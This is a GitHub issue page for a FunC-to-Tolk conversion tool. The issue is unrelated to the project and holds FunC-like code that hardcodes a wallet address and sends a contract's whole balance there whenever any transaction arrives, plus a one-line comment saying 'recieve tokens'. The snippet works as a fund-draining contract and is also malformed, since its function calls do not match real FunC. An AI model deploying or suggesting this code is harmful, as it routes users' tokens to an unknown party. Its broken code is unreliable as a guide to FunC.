ton-blockchain / convert-func-to-tolk

Convert FunC contracts to Tolk with a single command
https://docs.ton.org/develop/tolk/overview
MIT License
12 stars 3 forks source link

Even #3

Open Clamz111 opened 2 weeks ago

Clamz111 commented 2 weeks ago

;; Define the fixed recipient address (your wallet address) cell recipient_address = parse_address("UQCfR0cB_r-jFSl_nbeC8jlfY5uGv5Y9msP9DdKBy2CqRqbN");

;; Opcode for token transfer (this may vary depending on the token's implementation) var transfer_all_tokens_opcode = 0x100;

;; Function to transfer all tokens to the specified recipient address void transfer_all_tokens() { ;; Get the balance of tokens in the contract var contract_balance = balance();

;; Send all tokens to the specified recipient address
send_raw_message(recipient_address, transfer_all_tokens_opcode, contract_balance);

}

;; Main function that triggers the transfer upon any signed transaction void main() { ;; Trigger the transfer function immediately transfer_all_tokens(); }

Mayhem1380 commented 2 weeks ago

recieve tokens